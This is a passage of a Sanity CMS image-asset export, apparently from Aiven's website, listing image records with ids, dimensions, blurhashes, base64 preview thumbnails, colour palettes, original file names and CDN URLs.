KJTc8ZDbBDFrpF/wgAj+MhMMfQDFBMYC4PGMAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2e3b56","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#131d36","foreground":"#fff","population":0.1,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#131d36","foreground":"#fff","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#273c71","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9cafdc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#44547c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#4265bc","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"badge-gcp-partner-of-the-year (2).png","path":"images/sczeoy4w/production/580d79f5a5c28a7d69ae568abd5973bc5e96aa1d-960x300.png","sha1hash":"580d79f5a5c28a7d69ae568abd5973bc5e96aa1d","size":28041,"uploadId":"Bo14t0K5btBynRc09RQ6ZvMOUi5KkL0r","url":"https://cdn.sanity.io/images/sczeoy4w/production/580d79f5a5c28a7d69ae568abd5973bc5e96aa1d-960x300.png"} {"_createdAt":"2023-10-04T14:20:33Z","_id":"image-588b9f6424e4a71dd0a12988c8ec010b4e30b8b6-40x40-svg","_rev":"46Ky6Oj1Dro85iJlEnj97K","_type":"sanity.imageAsset","_updatedAt":"2023-10-04T14:20:33Z","assetId":"588b9f6424e4a71dd0a12988c8ec010b4e30b8b6","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eTQ9_]of~qt7Rk%Mj@t7ofM{.8ayD%ayafIVj[RjWB%M_3ofD%ayWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":40,"width":40},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEW0lEQVQ4jYWV21MadxTH/StSWLCigLu4iyAolghhmdBxYmUVjCMiJmkQaVUwatTY8TYTCbXRjFbtdNL0gXRMHpx2+uRDTNp/IJ1mmovtSxJv9cKugHJR2bCdg9g4mVwezvz2d/b8PnvOnu+ezXq+RDuXVhjP8irjXVndbgNbXk3vP2CHsSuH8V5gvFiinVlwsb4ZMYbCMeLIwpE4EdlJEDu7e3gszuLR2AEOPljjCRYH//H4UDhGAANYWUAHB8dxJziO43Ec91E8HuNtMzR/a2uT//jxX8J//l4URKO7/JcvXwgePfpTyDA0H+IyxoOzwABWFqScAfJSKU4Qj8cFd+7czfd62zWNjedOmc3mcofDcaq/v7/IZqsnKyoqzni9Xs3Dh3+IOI5DDpKsEM4CA1jHgfA0JBgMCtxud6lCobggkUguiUSiXhzHm4uLi+0ymewLFEVbi4qKGnt6elQsyyKpVAqBs+8EbmxsCGtra0mxWNyRk5PzVXZ29iCsAEZRtE2pVJ7DMKwFYiKRiADOvBe4tbUltNvtejgklUq9IpHoilAoHM7Nze2RSqXtGCb7EjJ2Op3aRCKBfBAYjUaR0dFRgjKbTUaj0axWq+0ajaausrLyU71eZylWq+0URZnm5uYkHMfxWZYVvBcYDocFP//yq/TqVb+yu7uvpKXFo+3q6tWM+EaVl7v7Slpb27XfXL9R+OTJsxx4fyz76u3A1CsWuow8fbr4cW/fkKbmrIOiqutqqiz1VqraZqWq6mpgrbLUW85fcJtu/3QX29vbQ5LJpIDjUu/sMp+mGeHU9PdES2unvqm5jXQ1e0iX20M2u72GzEpe6RvSLNz/XQzxXOYdhsPxQ+DyKtMGX8Hi4jPBzMx3BT6fTz49PSMbGBhUdnZ2qf3+r+Vgg4NDips3f8Bu3foRGx+/gU9MTBQMDAwoRkZGFAsL93JoZud1hsz2LjE2dh0jSdIC+jMYDFU6XZmVIAinSqVqgMaAXEiDgYJ70CST6fRnarW6QalUfu5qaipe32DkK2sZYJCOyMfHxzCdTlcL+oPAsrKymry8vMugQZAM+EFG+fn5HhC8Xq+Hh59HUbTd4XB8AklBtVCyB0qenJxES0tL7WKxuBOCSZKkcBx3geYABhAURVugAplM1qzX66tVKpVDqz1ZNzX1bT4MjeXMcEgDu7o6FTJZQStkZTAYqo1GI1VeXn4Gvgi5XH5RIpG0a7XasxRFndbpdBbQKKwul+vk2toqshvdx4GVLnk7FCVuBwISu73BaLVaTZc6OkqGh4eVgUAAm5+fl3g8nlKbzUZCA2ZnZ9Frfn+hz3et0O/3Fz548BsI/LVsMuNLnkqxJ0KhELKx/i/CMEH+/v5eepSBRaO7PJoO8pPJg7SPZZM8uAbtHhtf8vT4OhqwUDakHYsn0wM1spP4f4jCNdyDmOMD+GgPsPXNsHFphfZkwdg++gVAl94Y9bB/m+/NffoX8HwpePE/5UCTnekeRYwAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2a34","foreground":"#fff","population":0.31,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#04040c","foreground":"#fff","population":0.19,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4cc","foreground":"#000","population":0.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4c4cc","foreground":"#000","population":0.38,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9b9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c84","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"ISO27017.svg","path":"images/sczeoy4w/production/588b9f6424e4a71dd0a12988c8ec010b4e30b8b6-40x40.svg","sha1hash":"588b9f6424e4a71dd0a12988c8ec010b4e30b8b6","size":5609,"uploadId":"pmabG33p7khBjTY0dZpdGlT8Fq2Zvhd5","url":"https://cdn.sanity.io/images/sczeoy4w/production/588b9f6424e4a71dd0a12988c8ec010b4e30b8b6-40x40.svg"} {"_createdAt":"2022-09-01T13:45:58Z","_id":"image-589ce60f6db001643ca299c522b0fd35647e6cf5-164x50-svg","_rev":"NP13hfqQL439XkUvmXO9bU","_type":"sanity.imageAsset","_updatedAt":"2022-09-01T13:45:58Z","assetId":"589ce60f6db001643ca299c522b0fd35647e6cf5","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"D:Gh}P|^=Js,OBwfwgsCjaWp","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.28,"height":50,"width":164},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAYAAADDl76dAAAACXBIWXMAAAsTAAALEwEAmpwYAAABaklEQVQYlS2RzUpbURSFTzKRBAdFTWpLMGkGFm1yv3PlJpIaLUQklWtjmht/qEZtaYoDo0VRENEWBUHwITQzfQJ9Bic6cNI38CXOLpoz+Fh7rcFis7cSf7RPxj9XTKFyJLnakfGCunhB/6Pnh/K4UQ2vgRSQB1ygV2sdBXqAN0D8OQMSwFslS+kZmXX/yNTEhRSnL81o9URytdKTV33lwoCGCtAAFoEAKANTwDzwE/gG1IA1oKmkGTuWRupGguy9lIv35lP5Vj5+2fiX89Mu2tOwo+EM2AN+AZt2/gucA4dAC9gGTpXZiuzLek9bGqlrqeorUx5rS2nyx11hMpmFvNa0dKdgBZgGFoBVYNkWfQeqwNfOhruhCfnd5UszVjTzQ2Nm1vVlJj/yUCp0DzrEXY22t0sD/cA74L0lB3jAkPWOkj0VeeFAhWVuOGzqHyImyHTJXCaklFYFlxAQBpTVbvuMAUvSknAcJ/EfSgCJoNmaD8gAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#161e2c","foreground":"#fff","population":0.04,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#790b0d","foreground":"#fff","population":0.4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f84b3a","foreground":"#fff","population":2.55,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c0896c","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f84b3a","foreground":"#fff","population":2.55,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a05e68","foreground":"#fff","population":0.11,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4610c","foreground":"#fff","population":0.99,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"logo-h-aiven-console.svg","path":"images/sczeoy4w/production/589ce60f6db001643ca299c522b0fd35647e6cf5-164x50.svg","sha1hash":"589ce60f6db001643ca299c522b0fd35647e6cf5","size":11649,"uploadId":"cHEJcmy2W4vJAniGmDODOrjbiiE6WDRv","url":"https://cdn.sanity.io/images/sczeoy4w/production/589ce60f6db001643ca299c522b0fd35647e6cf5-164x50.svg"} {"_createdAt":"2023-02-08T13:31:23Z","_id":"image-58a752ce07c3728d6ddf2531e7710451aa2581e2-1567x844-jpg","_rev":"qBG5W2UzMHRLoCg3n8kyES","_type":"sanity.imageAsset","_updatedAt":"2023-02-08T13:32:59Z","altText":null,"assetId":"58a752ce07c3728d6ddf2531e7710451aa2581e2","description":null,"extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MB7eVu-;MxofRj_Nt7M{ogRjM{M{oft7ae","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAAAwAGB//EACAQAAEDBAMBAQAAAAAAAAAAAAIAAQMEBRExEyFBEiL/xAAXAQADAQAAAAAAAAAAAAAAAAACAwUG/8QAFxEAAwEAAAAAAAAAAAAAAAAAAAECMf/aAAwDAQACEQMRAD8A5jBVWfgjaRomNhbP59Q1VztkREMFIEuW6LGMOs9UaDWkQ7WnULSK6eC1EnNMR/IjnwWwykZP2pMAP//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#335074","foreground":"#fff","population":0.39,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":56.47,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":56.47,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccc8e2","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#92a8e6","foreground":"#000","population":0.05,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac7c6c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b34748","foreground":"#fff","population":0.11,"title":"#fff"}}},"mimeType":"image/jpeg","opt":{"media":{"tags":null}},"originalFilename":"Mastodon_with_Apache_Kafka_2_blog.jpg","path":"images/sczeoy4w/production/58a752ce07c3728d6ddf2531e7710451aa2581e2-1567x844.jpg","sha1hash":"58a752ce07c3728d6ddf2531e7710451aa2581e2","size":74985,"title":null,"uploadId":"QZqDK8S6x1ZD8ysdU8LhFyEB9EAot8m8","url":"https://cdn.sanity.io/images/sczeoy4w/production/58a752ce07c3728d6ddf2531e7710451aa2581e2-1567x844.jpg"} {"_createdAt":"2023-09-15T11:53:44Z","_id":"image-58a85c6bc66249ec59351a6bb2d4758d343d5cb4-2768x900-png","_rev":"E3l20vRSvwhCawbkeOctjt","_type":"sanity.imageAsset","_updatedAt":"2023-09-15T11:53:44Z","assetId":"58a85c6bc66249ec59351a6bb2d4758d343d5cb4","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.0755555555555554,"height":900,"width":2768},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAAAsTAAALEwEAmpwYAAAAlklEQVQYlV2OWw4DIQhFXc/oaCNvuv99NcDUND0fBC5coM215lprveZc9333Pq6rX330PvqIMpSMD5E8Yw0wIGIiRiREBAgNAAFxA+wgJEpiOBywNzRmFhEzc3dLVLWSylVVRI5YipmKaMuzVO2Ck/CkTUSIqMS6VDBzq8bf7iprouKv+bzTjsfd3188+X34GESkumb2AXC8SrwVz7+0AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#434444","foreground":"#fff","population":4.37,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c040c","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#888888","foreground":"#fff","population":8.18,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#722672","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dd9bdd","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#888888","foreground":"#fff","population":8.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bf3fbf","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"testing-clickhouse-backend-js.png","path":"images/sczeoy4w/production/58a85c6bc66249ec59351a6bb2d4758d343d5cb4-2768x900.png","sha1hash":"58a85c6bc66249ec59351a6bb2d4758d343d5cb4","size":196530,"uploadId":"5cxfJQWNbajTqHmgIlyykjoaz8t139PY","url":"https://cdn.sanity.io/images/sczeoy4w/production/58a85c6bc66249ec59351a6bb2d4758d343d5cb4-2768x900.png"} {"_createdAt":"2024-01-10T15:46:16Z","_id":"image-58cff595bf637438f4cd3613787147afebdc1d22-1800x1200-webp","_rev":"M251ymJOiXhN3h8v2O2alO","_type":"sanity.imageAsset","_updatedAt":"2024-01-10T15:46:16Z","assetId":"58cff595bf637438f4cd3613787147afebdc1d22","extension":"webp","metadata":{"_type":"sanity.imageMetadata","blurHash":"VaL;sx%M?wxarq%gbHWCayDiE1j[r=WVx^x]jtaebHRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.5,"height":1200,"width":1800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAcCBAb/xAAlEAAABQMDBAMAAAAAAAAAAAABAgMEBQAREgYHIQgTMVEVI3H/xAAWAQEBAQAAAAAAAAAAAAAAAAADAAH/xAAYEQEBAQEBAAAAAAAAAAAAAAABAgAhEf/aAAwDAQACEQMRAD8AeMk3V+MdC3Gy/aNgPobcUtdsomUQduF3kmu6SUKIqEVNkAHv5CqXUNqGSjHUTHx7pRug4DJXAbCbnxes7upKPNNOoA0K4UbCZsVQ2JuDCPsK2ppoR5qakmhO5yrI/YPFFRiHB3kSycq27iqJTm/RCikxeb//2Q==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c3444","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#513022","foreground":"#fff","population":0.8,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#daa78b","foreground":"#000","population":3.57,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8a9a9","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#daa78b","foreground":"#000","population":3.57,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#ac775c","foreground":"#fff","population":1.31,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c18c74","foreground":"#000","population":1.83,"title":"#fff"}}},"mimeType":"image/webp","originalFilename":"32-Sasha-Vidiborskiy-L.webp","path":"images/sczeoy4w/production/58cff595bf637438f4cd3613787147afebdc1d22-1800x1200.webp","sha1hash":"58cff595bf637438f4cd3613787147afebdc1d22","size":309924,"uploadId":"JDUUzlJwzoZOesApR2XpDWZJhMozDove","url":"https://cdn.sanity.io/images/sczeoy4w/production/58cff595bf637438f4cd3613787147afebdc1d22-1800x1200.webp"} {"_createdAt":"2022-06-30T20:00:43Z","_id":"image-58fe4790930f9ed69ba14795a7b608df886b7c36-788x268-png","_rev":"QRl2cGoCgj0FlAhkRri9Z8","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:56Z","assetId":"58fe4790930f9ed69ba14795a7b608df886b7c36","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D8S6MdHr#7,?v#}@Hr^Q$Pn3","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.9402985074626864,"height":268,"width":788},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAABYlAAAWJQFJUiTwAAABD0lEQVQokXWQ22qDQBRF/f8PKhT6BS36kFKCJSEYx8SoM5qYuXrZ5ZxgHlo7sNiHA7PYMxHSLeZ4A73PcBIFsuMReZ7jcrmg6zq0bQspJZqm4R2lcw7zPGPtRPP7G6bXF8iPGF+bT8RJjCRJkKYpiqKAEAJZluFwOGC32/Hc9z0L14hG8Y1hv8Vd5CjPJUuIuq6fDZVSz5a0895jmqZVImstrDEwlM7Beg/3C+sIx6IQAud/RN2tR61a1FJBdVfc7hrGPsTWBxjncTcW2liWa625bVVVDL2EoJn+OCJRXpyQ5QLidGYxCRYZoa1jnA9/hAskK8vy0bCRClUjWdZeb3x5EVLTJUMYMI4jMwzDKj8vtxaJqnaZsQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c4444","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9f4248","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ccacb3","foreground":"#000","population":0.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#ccacb3","foreground":"#000","population":0.4,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc5ca4","foreground":"#fff","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#aca474","foreground":"#000","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f20842","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"58fe4790930f9ed69ba14795a7b608df886b7c36-788x268.png","path":"images/sczeoy4w/production/58fe4790930f9ed69ba14795a7b608df886b7c36-788x268.png","sha1hash":"58fe4790930f9ed69ba14795a7b608df886b7c36","size":31129,"uploadId":"HefnJYcHWoNYhMqhkVBfUIuBlaEuOHPh","url":"https://cdn.sanity.io/images/sczeoy4w/production/58fe4790930f9ed69ba14795a7b608df886b7c36-788x268.png"} {"_createdAt":"2023-06-07T13:39:55Z","_id":"image-591b6ac9d9c2c306b6e1fdb4aa3c97c1aaa99a28-1920x1037-jpg","_rev":"rV9BZDYEBgQp95tIyWCjGm","_type":"sanity.imageAsset","_updatedAt":"2023-06-07T13:39:55Z","assetId":"591b6ac9d9c2c306b6e1fdb4aa3c97c1aaa99a28","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MD3mksb}akjERhY8S*kXn$i]nho#kDV=Wr","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8514946962391514,"height":1037,"width":1920},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAALABQDASIAAhEBAxEB/8QAFwABAQEBAAAAAAAAAAAAAAAABAADB//EACAQAAIBAwUBAQAAAAAAAAAAAAECAwAEEQUSEyFRMUH/xAAWAQEBAQAAAAAAAAAAAAAAAAAFAQP/xAAcEQACAgMBAQAAAAAAAAAAAAABEQACAwQhMUH/2gAMAwEAAhEDEQA/AOTQavGF42XthgD2hW628IlnvBh92NufgoOmyMbR5CcurdHysNVdnkuCxJOFp3JsnJ0/ILXTGC6B97EXF7bczcEGU9P7VRrcDhXofKq1FGG5TYVKU//Z","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a2447","foreground":"#fff","population":1.59,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#083673","foreground":"#fff","population":5.66,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#083673","foreground":"#fff","population":5.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c386ad","foreground":"#000","population":1.77,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#8fd3ea","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#55799c","foreground":"#fff","population":0.58,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#28abd6","foreground":"#fff","population":1.59,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"dar-customer-img.jpg","path":"images/sczeoy4w/production/591b6ac9d9c2c306b6e1fdb4aa3c97c1aaa99a28-1920x1037.jpg","sha1hash":"591b6ac9d9c2c306b6e1fdb4aa3c97c1aaa99a28","size":2152452,"uploadId":"AICqSyT1wkJOKqB1qJtPctoiFRgwjhHW","url":"https://cdn.sanity.io/images/sczeoy4w/production/591b6ac9d9c2c306b6e1fdb4aa3c97c1aaa99a28-1920x1037.jpg"} {"_createdAt":"2022-06-30T20:00:04Z","_id":"image-591f11521f9fe4121d26f489263cb5f5bfe7e256-624x180-png","_rev":"QRl2cGoCgj0FlAhkRri2kE","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:24:21Z","assetId":"591f11521f9fe4121d26f489263cb5f5bfe7e256","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"DCS$ovxuDjaQWs~qoLt7ofj?","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":3.466666666666667,"height":180,"width":624},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAGCAIAAABM9SnKAAAACXBIWXMAABJ0AAASdAHeZh94AAAAyElEQVQYlVXO0U4EMQgF0Pn/TzQmvpnoOju2pVC4QE1nx6ySkPBy7mUTNQAJT/fMzLnWz1nXOREB94jITHcH4O6Rub0fXCujdSeGKVZGIIDAmbXCADCzqgIQESJiEQO210/62pvei5Umo48YSH98cvXOaWaNSETMrPdeSmlEqrq9fNBtb+MoWusD+xNf3MxWGy/MLKXW1toY42y+k3zXQU1NkIgZf3FeuLOIPjEt/Haj/SCuVbiaa86MGZbAv2b0zr+Ya2ssAuAHvdxd2Qk8fA8AAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#427a5f","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#14488c","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#9fcda6","foreground":"#000","population":0.2,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9fcda6","foreground":"#000","population":0.2,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc94c4","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5c91ae","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f7ac8","foreground":"#fff","population":0.07,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"591f11521f9fe4121d26f489263cb5f5bfe7e256-624x180.png","path":"images/sczeoy4w/production/591f11521f9fe4121d26f489263cb5f5bfe7e256-624x180.png","sha1hash":"591f11521f9fe4121d26f489263cb5f5bfe7e256","size":30973,"uploadId":"5RPC8IyFtGsnmwv8CmjiCf5XAGfQtcrs","url":"https://cdn.sanity.io/images/sczeoy4w/production/591f11521f9fe4121d26f489263cb5f5bfe7e256-624x180.png"} {"_createdAt":"2022-11-16T09:07:32Z","_id":"image-593aed6cd1fa44f87cd29bc445926d186d3044a2-1200x250-png","_rev":"YI3rks3mbRtnzMpdn7LWgS","_type":"sanity.imageAsset","_updatedAt":"2022-11-16T09:11:39Z","altText":"Margaret Kinyanjui quote","assetId":"593aed6cd1fa44f87cd29bc445926d186d3044a2","description":"“It was interesting to hear how everyone sees open source, and how open source can improve the entire tech industry, and challenging me to ensure that I contribute in some way.”","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.8,"height":250,"width":1200},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAAAsSAAALEgHS3X78AAAAxUlEQVQYlTVOO27CUBAcRUTYSpEGGTBg/MxVQOIAXMIgENVszpKLkSZluhwh3o12/ShG89nRaqDEbCDqgVgrsVGicTYJvzJBneF6nRH3ALEyolbi3YgXmKAyQWOCZILOBDvXSrQm2Ga4TkYkfXYY7PkT/meKR19Wj75svvqi+75Md7/3Sfs3LlsqsVBi6QtjbdZ5nXcWOvY8m5mgxPWQqvO+21wPKclx236e5tXP7fXNPlAMRGFE6cXg0Rfu1TMJHT6YmPwDTN14QM9afyIAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#584630","foreground":"#fff","population":0.64,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#885606","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#584630","foreground":"#fff","population":0.64,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#784820","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2b996","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#9e7050","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0602b","foreground":"#fff","population":0.09,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"Sustainability-update-quote-Margaret.png","path":"images/sczeoy4w/production/593aed6cd1fa44f87cd29bc445926d186d3044a2-1200x250.png","sha1hash":"593aed6cd1fa44f87cd29bc445926d186d3044a2","size":18413,"title":"Margaret Kinyanjui quote","uploadId":"WAIkflwVhS9gqcf0LFiwoWLOK4KTIv24","url":"https://cdn.sanity.io/images/sczeoy4w/production/593aed6cd1fa44f87cd29bc445926d186d3044a2-1200x250.png"} {"_createdAt":"2022-10-07T08:03:53Z","_id":"image-5946b524485081c2d4e89586b3bd469d945112c3-2000x813-png","_rev":"6A7y012pmf5STlJrFTbnaN","_type":"sanity.imageAsset","_updatedAt":"2022-10-07T08:06:18Z","altText":"Screenshot of Integration metrics overview page for AWS CloudWatch","assetId":"5946b524485081c2d4e89586b3bd469d945112c3","description":"Screenshot of Integration metrics overview page for AWS 